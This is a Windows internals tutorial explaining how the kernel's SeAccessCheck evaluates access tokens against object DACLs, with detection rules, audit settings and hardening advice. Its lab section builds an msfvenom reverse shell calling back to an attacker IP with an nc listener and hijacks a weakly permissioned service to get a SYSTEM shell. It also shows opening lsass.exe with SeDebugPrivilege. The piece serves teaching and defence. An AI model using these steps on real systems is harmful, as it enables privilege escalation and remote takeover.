The Windows Access Check Algorithm: How SeAccessCheck Works

By Debraj Basak·Jun 25, 2026·16 min readWindows Internals

Objective: Trace the kernel-mode access check from a thread’s DesiredAccess request through ObCheckObjectAccess into SeAccessCheck, understand exactly how the DACL is evaluated against the caller’s token, and learn why Windows grants or denies access to any securable object – then weaponize a weak DACL in a lab and watch the defender catch it.


Every time a thread touches a securable object – a file, a registry key, a process, a service – the same question gets asked in the kernel: can this identity get this access to this object? That question has exactly one authoritative answer, and it comes out of one routine. Learn SeAccessCheck properly and most of Windows privilege escalation stops being magic and starts being arithmetic.

1. The Security Reference Monitor and Where SeAccessCheck Lives

The Security Reference Monitor (SRM) is the executive component, living inside ntoskrnl.exe, that owns the access check algorithm. The convention is simple and worth internalizing: routines that talk directly to the SRM carry the Se prefix. SeAccessCheck is the canonical one.

The model the SRM enforces is an equation with three inputs: the security identity of a thread, the access that thread wants, and the security settings of the object. Everything in this article is just those three things colliding.

SeAccessCheck does not stand alone. A couple of internal routines matter for understanding the call graph and the bypasses:

FunctionRole
ObCheckObjectAccessObject Manager routine that captures the subject context and invokes SeAccessCheck. Takes the object’s security info, the thread identity, and the requested access; returns TRUE or FALSE.
SeAccessCheckThe decision routine. Walks the DACL, applies privileges, returns GrantedAccess and AccessStatus.
SeAccessCheckWithHintWithAdminlessChecksCalled by SeAccessCheck; where privilege-based bypasses are resolved.
EvaluateTokenAgainstDescriptorThe MS-DTYP pseudocode reference name for the core ACE evaluation loop ([MS-DTYP] section 2.5.3).

2. The Three Inputs: Token, Security Descriptor, Desired Access

The access token is the security identity. It carries the user SID, group SIDs, an integrity level, the privilege array, and optionally a set of restricted SIDs. When a thread is impersonating, the impersonation token is used; otherwise the process primary token.

The security descriptor is the object’s security settings. The pieces that matter to the check are the Owner SID, the DACL (the list of allow/deny ACEs), and the control flags that say whether a DACL is even present. The SACL governs auditing, not access.

The desired access is an ACCESS_MASK: a 32-bit bitmask of the rights the caller wants. The top bits are generic (GENERIC_READ, GENERIC_WRITE, GENERIC_EXECUTE, GENERIC_ALL) and the special bits include MAXIMUM_ALLOWED, ACCESS_SYSTEM_SECURITY, and the standard rights like WRITE_DAC and WRITE_OWNER. Generic bits are meaningless to the comparison until they are mapped to object-specific bits via the object type’s GENERIC_MAPPING.


3. From OpenProcess to SeAccessCheck: The Full Call Path

Take a concrete request: a thread calls OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid). The path into the kernel looks like this:

OpenProcess (user mode)
  -> NtOpenProcess
    -> PsOpenProcess
      -> ObOpenObjectByPointer
        -> ObCheckObjectAccess
          -> SeAccessCheck   <-- the decision
        -> (on success) handle is created in the process handle table

ObCheckObjectAccess does the bookkeeping. It captures the caller’s subject context, then calls SeAccessCheck. Progress is tracked through an ACCESS_STATE structure, whose PreviouslyGrantedAccess and RemainingDesiredAccess members record what has already been granted (for instance, rights conferred by a held privilege) and what is still being asked for. If the check passes, the Object Manager allocates a handle and stamps it with the GrantedAccess mask. That mask, not the original request, is what every later operation on the handle is validated against.


Flowchart showing the call path from user-mode OpenProcess down through [NtOpenProcess](https://genxcyber.com/windows-syscalls-ssdt-user-mode-to-kernel/), ObCheckObjectAccess, and into SeAccessCheck, ending with handle creation stamped with GrantedAccess.
Every handle open in Windows funnels through this path; SeAccessCheck is the sole decision point.

4. The SeAccessCheck Signature, Parameter by Parameter

Here is the kernel signature exactly as the WDK declares it:

BOOLEAN SeAccessCheck(
  [in]  PSECURITY_DESCRIPTOR      SecurityDescriptor,
  [in]  PSECURITY_SUBJECT_CONTEXT SubjectSecurityContext,
  [in]  BOOLEAN                   SubjectContextLocked,
  [in]  ACCESS_MASK               DesiredAccess,
  [in]  ACCESS_MASK               PreviouslyGrantedAccess,
  [out] PPRIVILEGE_SET            *Privileges,
  [in]  PGENERIC_MAPPING          GenericMapping,
  [in]  KPROCESSOR_MODE           AccessMode,
  [out] PACCESS_MASK              GrantedAccess,
  [out] PNTSTATUS                 AccessStatus
);
ParameterTypePurpose
SecurityDescriptorPSECURITY_DESCRIPTORThe object’s owner, group, DACL, and SACL.
SubjectSecurityContextPSECURITY_SUBJECT_CONTEXTOpaque struct capturing the caller’s primary and impersonation tokens.
SubjectContextLockedBOOLEANWhether the subject context is already locked, so it is not locked twice.
DesiredAccessACCESS_MASKRights the caller is attempting to acquire.
PreviouslyGrantedAccessACCESS_MASKRights already granted, e.g. from holding a privilege.
PrivilegesPPRIVILEGE_SET*Receives the PRIVILEGE_SET used during validation; release with SeFreePrivileges.
GenericMappingPGENERIC_MAPPINGMaps generic rights to object-specific rights before ACE comparison.
GrantedAccessPACCESS_MASKOut: the access actually granted.
AccessStatusPNTSTATUSOut: the status to return. If the routine returns FALSE, use this value rather than hardcoding STATUS_ACCESS_DENIED.

That last point is a real gotcha. The routine can fail for reasons other than denial – a malformed descriptor, for example – and blindly returning STATUS_ACCESS_DENIED will mislead callers up the stack.


5. The ACE Evaluation Algorithm, Step by Step

Strip away the wrappers and the algorithm is a single loop over the DACL. MS-DTYP calls the reference implementation EvaluateTokenAgainstDescriptor. The mental model:

  1. Map any generic bits in DesiredAccess through the GENERIC_MAPPING.
  2. Initialize a RemainingAccess mask to the (mapped) DesiredAccess, minus anything in PreviouslyGrantedAccess.
  3. Walk the DACL in order, one ACE at a time:
    – If the ACE’s SID is not present in the token’s authorization context, skip it.
    – If it is an access-allowed ACE, clear those rights from RemainingAccess.
    – If it is an access-denied ACE and any of its rights are still in RemainingAccess, the entire request is denied immediately.
  4. When the loop ends: if RemainingAccess is zero, every requested right was satisfied, so access is granted. If any bit remains, the request is denied.
StepConditionEffect
SID not in tokenACE SID absent from authorization contextACE skipped
Allow ACE matchesSID present, allowClear matched bits from RemainingAccess
Deny ACE matchesSID present, deny, bit still pendingWhole request denied, stop
Loop endRemainingAccess == 0Granted
Loop endRemainingAccess != 0Denied

The subtle implication: a denied right is final the instant it is hit, but a granted right only “counts” if nothing later (or earlier, depending on order) revokes it. Which makes ordering everything.


Flowchart of the DACL ACE evaluation loop showing how each ACE is tested against the token's SIDs, with deny ACEs causing immediate termination and allow ACEs clearing bits from RemainingAccess until it reaches zero.
The access check is a single ordered loop – a deny hit ends it instantly, and access is granted only when every requested bit has been cleared.

6. ACE Ordering, NULL DACLs, and Empty DACLs

ACEs are processed in the order they appear in the DACL. Explicit ACEs assigned directly to the object come first, then inherited ACEs, and within inherited ACEs the parent’s come before the grandparent’s, walking up the tree. The well-known “canonical order” places deny ACEs before allow ACEs precisely so that a deny is evaluated before a competing allow. If a tool writes an allow ACE ahead of a deny ACE for the same SID and right, the allow wins, because the loop terminates on first satisfaction. Order is policy.

Two cases trip up almost everyone:

  • NULL DACL. If the DACL pointer is null (the descriptor says “DACL present” but the pointer is NULL), all access is granted to everyone. There is no ACE to fail against.
  • Empty DACL. A DACL that is present but contains zero ACEs grants nothing to anyone. The loop ends with RemainingAccess still set, so every request is denied.

I once watched someone “lock down” a named pipe by handing it an empty DACL and then spend an afternoon wondering why even SYSTEM could not open it. The fix they reached for – swapping in a NULL DACL – did the opposite of hardening. Two descriptors that look almost identical in code produce polar-opposite security. Know which one you are building.


7. Mandatory Integrity Control: The Pre-DACL Gate

Before the DACL is ever walked, Mandatory Integrity Control (MIC) runs. It is checked first because it is cheaper than a full ACE traversal, and it can deny outright.

Each token has an integrity level (Low, Medium, High, System). Each object can carry a mandatory label ACE with its own integrity level and a policy. The default policy is no-write-up: a process can open an object for write access only if its integrity level is equal to or higher than the object’s, and the DACL also grants the access. A Low-integrity process cannot open a Medium-integrity process for write, even if the DACL would have allowed it. There are also no-read-up and no-execute-up variants set by the label.

This is why a sandboxed (Low IL) browser renderer cannot scribble into Medium-integrity user files even when the file DACL nominally permits the user: MIC vetoes the write before the DACL is consulted.


Illustration of a four-tiered fortress with ascending integrity levels, a figure blocked by an invisible barrier from reaching higher tiers, representing Mandatory Integrity Control preventing write-up.
MIC enforces the no-write-up policy as a pre-DACL gate – a Low-integrity process is blocked before any ACE is ever consulted.

8. Privilege Checks Inside SeAccessCheck

Some access decisions are settled by privilege, not by ACEs. SeAccessCheck may perform privilege tests depending on the requested rights:

  • SeTakeOwnershipPrivilege can grant WRITE_OWNER regardless of the DACL.
  • SeSecurityPrivilege is required to obtain ACCESS_SYSTEM_SECURITY (the SACL).
  • The routine may also check whether the caller is the object owner to grant READ_CONTROL or WRITE_DAC.

Two important nuances. If MAXIMUM_ALLOWED is set in DesiredAccess, the routine performs all DACL checks but does not perform privilege checks unless the caller explicitly sets ACCESS_SYSTEM_SECURITY or WRITE_OWNER. And the privilege tests can change between releases.

SeDebugPrivilege is the big one. Holding it bypasses MIC and the ACE checks (both discretionary and conditional) entirely – which is exactly why it grants PROCESS_ALL_ACCESS to processes you would otherwise be denied. What it does not bypass: protected-process checks and third-party pre-operation callbacks (the kind EDR registers via ObRegisterCallbacks).

Here is a self-contained demo that shows the difference. Run it once as a normal user, then elevated, against a process you do not own:

#include <windows.h>
#include <stdio.h>

BOOL EnablePriv(LPCWSTR priv) {
    HANDLE hTok; TOKEN_PRIVILEGES tp; LUID luid;
    if (!OpenProcessToken(GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTok)) return FALSE;
    if (!LookupPrivilegeValueW(NULL, priv, &luid)) { CloseHandle(hTok); return FALSE; }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    BOOL ok = AdjustTokenPrivileges(hTok, FALSE, &tp, sizeof(tp), NULL, NULL);
    CloseHandle(hTok);
    return ok && GetLastError() == ERROR_SUCCESS;
}

int wmain(int argc, wchar_t **argv) {
    if (argc < 2) { wprintf(L"usage: dbgopen <pid>\n"); return 1; }
    DWORD pid = _wtoi(argv[1]);

    HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    wprintf(L"Before priv: %s (err=%lu)\n", h ? L"OPENED" : L"DENIED", GetLastError());
    if (h) CloseHandle(h);

    if (!EnablePriv(L"SeDebugPrivilege")) {
        wprintf(L"Could not enable SeDebugPrivilege (need elevation)\n"); return 1;
    }

    h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    wprintf(L"After SeDebugPrivilege: %s (err=%lu)\n", h ? L"OPENED" : L"DENIED", GetLastError());
    if (h) CloseHandle(h);
    return 0;
}

Pointing this at the lsass.exe PID shows the DENIED to OPENED flip the instant the privilege is enabled. Note that this same open is the single highest-signal detection event on the system, which we cover in Section 12.


9. Restricted Tokens and the Double-Pass

CreateRestrictedToken produces a token with restricting SIDs. When such SIDs are present, the access check is run twice: once with the normal SID set, and again using only the restricting SIDs. Access is granted only if both passes succeed. This is how sandboxes (and parts of UAC’s filtered administrator token) achieve “you are still this user, but you cannot touch most of what this user could.” The DACL has not changed; the token has been narrowed, and the second pass intersects the result.


10. User-Mode AccessCheck and the AuthZ API

The kernel routine has a user-mode twin: the AuthZ API AccessCheck. Applications use it to make the same decisions transparently, plus AuthzAccessCheck and GetEffectiveRightsFromAcl for richer scenarios. This is the easiest way to see the algorithm without a debugger. The following program builds a security descriptor from SDDL, grabs the caller’s token, and asks for effective rights:

#include <windows.h>
#include <sddl.h>
#include <stdio.h>

int main(void) {
    PSECURITY_DESCRIPTOR pSD = NULL;
    // Owner SYSTEM, allow GENERIC_ALL to BUILTIN\Users (BU)
    if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(
            L"O:SYG:SYD:(A;;GA;;;BU)", SDDL_REVISION_1, &pSD, NULL)) {
        printf("SDDL parse failed: %lu\n", GetLastError()); return 1;
    }

    ImpersonateSelf(SecurityImpersonation);
    HANDLE hTok = NULL;
    OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hTok);

    GENERIC_MAPPING gm = {
        STANDARD_RIGHTS_READ, STANDARD_RIGHTS_WRITE,
        STANDARD_RIGHTS_EXECUTE, STANDARD_RIGHTS_ALL
    };

    DWORD desired = GENERIC_READ | GENERIC_WRITE;
    MapGenericMask(&desired, &gm);

    PRIVILEGE_SET ps; DWORD psLen = sizeof(ps);
    DWORD granted = 0; BOOL ok = FALSE;

    if (AccessCheck(pSD, hTok, desired, &gm, &ps, &psLen, &granted, &ok))
        printf("GrantedAccess=0x%08lx  access=%d\n", granted, ok);
    else
        printf("AccessCheck failed: %lu\n", GetLastError());

    RevertToSelf();
    CloseHandle(hTok);
    LocalFree(pSD);
    return 0;
}

For interactive DACL spelunking, James Forshaw’s NtObjectManager module is unmatched:

Import-Module NtObjectManager

# Effective rights for the current token on a file
Get-NtGrantedAccess -Path "\??\C:\Temp\secret.dat"

# Compute granted access for a token against an arbitrary SDDL descriptor
Get-NtGrantedAccess -SecurityDescriptor "O:SYG:SYD:(A;;GA;;;BU)" -Type File

# Walk a live process object's DACL
$p = Get-NtProcess -ProcessId (Get-Process lsass).Id -Access QueryLimitedInformation
Get-NtSecurityDescriptor $p | Select-Object -ExpandProperty Dacl

11. Abusing the Access Check: Weak Service DACL to SYSTEM (Lab)

The most common way the access check bites defenders is not a bug in the algorithm. It is an object handed a DACL that grants too much. Service objects are the classic offender. We will build one, audit it as a standard user, and ride it to SYSTEM.

Run everything in this section against a self-built, isolated lab VM only. The setup script intentionally creates a vulnerable service.

Lab Setup (run elevated, once)

# Create a demo service
sc.exe create VulnSvc binPath= "C:\Windows\System32\cmd.exe /c rem" start= demand

# Intentionally weak: grant Authenticated Users (AU) full service access,
# including DC (SERVICE_CHANGE_CONFIG) and RP (SERVICE_START)
sc.exe sdset VulnSvc "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)"

Recon as labuser (standard user)

# Which services can Authenticated Users modify?
accesschk.exe -uwcqv "Authenticated Users" *

# Read the raw SDDL and decode it
sc.exe sdshow VulnSvc
ConvertFrom-SddlString ((sc.exe sdshow VulnSvc) -join "").Trim()

accesschk flags VulnSvc with SERVICE_CHANGE_CONFIG and SERVICE_START for our group. In SDDL terms, the AU ACE contains DC (change config) and RP (start). That pairing is game over: change the binary, then start the service. The SCM starts it as LocalSystem.

Build the Payload (attacker box)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe -o revshell.exe
nc -lvnp 4444

Copy revshell.exe to C:\Temp\ on the lab VM.

Trigger as labuser

:: labuser holds SERVICE_CHANGE_CONFIG, so ChangeServiceConfig succeeds
sc.exe config VulnSvc binPath= "C:\Temp\revshell.exe"

:: labuser holds SERVICE_START, so the SCM launches the new binary as SYSTEM
sc.exe start VulnSvc

The listener catches a shell running as NT AUTHORITY\SYSTEM. No memory corruption, no shellcode tricks – just a DACL that said yes to the wrong SID.

Watch the Check in WinDbg

To see the kernel decision behind the SCM’s calls, attach a kernel debugger to the VM and break on the routine:

kd> bp nt!SeAccessCheck
kd> g
Breakpoint 0 hit
nt!SeAccessCheck:
kd> r r9          ; x64: 4th arg (DesiredAccess) lands in R9
kd> kb            ; confirm the caller is the SCM resolving SERVICE_START

You will see DesiredAccess carrying the service start bit, the DACL walk clearing it against the AU allow ACE, and GrantedAccess coming back with that bit set. The algorithm did precisely what it was told.


12. Detection, Auditing, and Hardening

None of this is invisible. The access check and its abuse leave a clear trail if auditing is configured.

Windows Security Event IDs

Event IDChannelFires when
4656SecurityA handle to an object was requested (rights requested, not yet used).
4663SecurityAn attempt was made to access an object. Requires a matching SACL ACE; success only, shows the right was used.
4670SecurityPermissions on an object were changed (DACL/SACL modified).
4672SecuritySpecial privileges assigned to new logon (catches SeDebugPrivilege).
4907SecurityAuditing settings on an object changed (SACL tamper).
4719SecuritySystem audit policy changed.
7045SystemNew service installed.

4663 only fires when the object’s SACL carries the relevant ACE, so SACL configuration is a prerequisite, not a default. It also has no failure variant: it confirms a right was exercised, not merely requested.

Sysmon Event IDs

Sysmon EIDCapture target
10 (ProcessAccess)Handle opens against lsass.exe and other sensitive processes, with the requested access mask.
13 (RegistryValue Set)Writes to HKLM\SYSTEM\CurrentControlSet\Services\*\ImagePath.
11 (FileCreate)Payloads dropped into writable service paths.

For the SeDebugPrivilege demo from Section 8, the pairing is Sysmon Event ID 10 showing the LSASS handle open with PROCESS_VM_READ plus Security Event ID 4672 recording the sensitive privilege on logon. Where kernel SACLs are impractical, Sysmon EID 10 is the better LSASS tripwire because it logs every opener and its access mask.

Audit Policy Prerequisites

auditpol /set /subcategory:"File System" /success:enable /failure:enable
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
auditpol /set /subcategory:"Handle Manipulation" /success:enable /failure:enable
auditpol /set /subcategory:"Sensitive Privilege Use" /success:enable /failure:enable
auditpol /set /subcategory:"Audit Policy Change" /success:enable /failure:enable

Sigma: Service DACL Modified to Grant Broad Access

title: Service DACL Modified to Grant Permissive Access
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4670
    ObjectType: 'Service Object'
    NewSd|contains:
      - 'WD)'   # World / Everyone
      - 'BU)'   # BUILTIN\Users
      - 'AU)'   # Authenticated Users
  condition: selection
level: high

Useful Sigma fields: EventID, ObjectName, ObjectType, OldSd, NewSd, SubjectUserSid, SubjectLogonId, AccessMask, ProcessName. The Microsoft-Windows-Security-Auditing provider ({54849625-5478-4994-A5BA-3E3B0328C30D}) carries all the Security events above.

Hardening

  • Never ship a NULL DACL. Build an explicit, minimal DACL with SetSecurityDescriptorDacl and a real ACE list.
  • Keep deny ACEs ahead of allow ACEs so the first matching ACE makes the intended decision.
  • Tighten service descriptors with sc.exe sdset, removing DC/RP from non-admin SIDs.
  • Least privilege everywhere so attackers cannot harvest tokens from privileged processes.
  • Restrict token rights: Create a Token Object to Local System only; Replace a Process Level Token to Local and Network Service.
  • Put SACLs on the crown jewels (LSASS, the SAM hive, NTDS.dit, sensitive keys) so access produces auditable events.
  • Run accesschk.exe on a schedule to catch world-writable services, keys, and paths before an attacker does.

MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Access Token ManipulationT11344672, token-related logon anomalies
Token Impersonation/TheftT1134.001Sysmon 10, abnormal DuplicateTokenEx usage
Make and Impersonate TokenT1134.003LogonUser/SetThreadToken from non-service code
SID-History InjectionT1134.005DC replication / SID anomalies
File and Directory Permissions ModificationT12224670, 4907
Windows File/Directory Permissions ModificationT1222.001icacls/cacls/takeown/sc sdset process events
Services Registry Permissions WeaknessT1574.0117045, Sysmon 13 on ImagePath, 4670 on service objects

Illustration of a server rack with a surveillance eye as its front panel, watching ghostly icons of keys, broken locks, and service gears - representing Windows audit logging catching weak DACL abuse.
Every DACL modification, privileged logon, and sensitive handle open leaves a traceable event – auditing turns the access check into a detection surface.

13. Tools for Access-Check Analysis

ToolDescriptionLink
AccessChkEnumerate effective rights on services, keys, files, processeslive.sysinternals.com
NtObjectManagerPowerShell Get-NtGrantedAccess/DACL walkinggithub.com
WinObjBrowse the object namespace and per-object securitylive.sysinternals.com
Process HackerInspect token SIDs, privileges, integrity, handle access masksprocesshacker.sourceforge.io
WinDbgbp nt!SeAccessCheck, inspect ACCESS_STATE and parameterslearn.microsoft.com
SysmonProcessAccess/Registry/FileCreate telemetrylive.sysinternals.com
sc.exeRead/write service SDDL (sdshow/sdset)built-in

Summary

  • SeAccessCheck is the one routine that decides every securable-object access decision in Windows, comparing the caller’s token to the object’s DACL for the requested ACCESS_MASK.
  • The algorithm is a single ordered DACL walk: matching deny ACEs end it immediately, matching allow ACEs clear bits, and access is granted only when no requested bit remains.
  • A NULL DACL grants everyone everything; an empty DACL denies everyone – two descriptors that look almost identical and behave oppositely.
  • MIC runs before the DACL, privileges like SeDebugPrivilege bypass MIC and ACE checks but not protected-process or callback checks, and restricted tokens force a second intersecting pass.
  • Weak object DACLs (a writable service is the textbook case) turn the access check from a guard into a privilege-escalation primitive – detect it with Security 4670/7045, Sysmon 10/13, and SACL-driven 4663, and harden by never shipping permissive or NULL DACLs.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.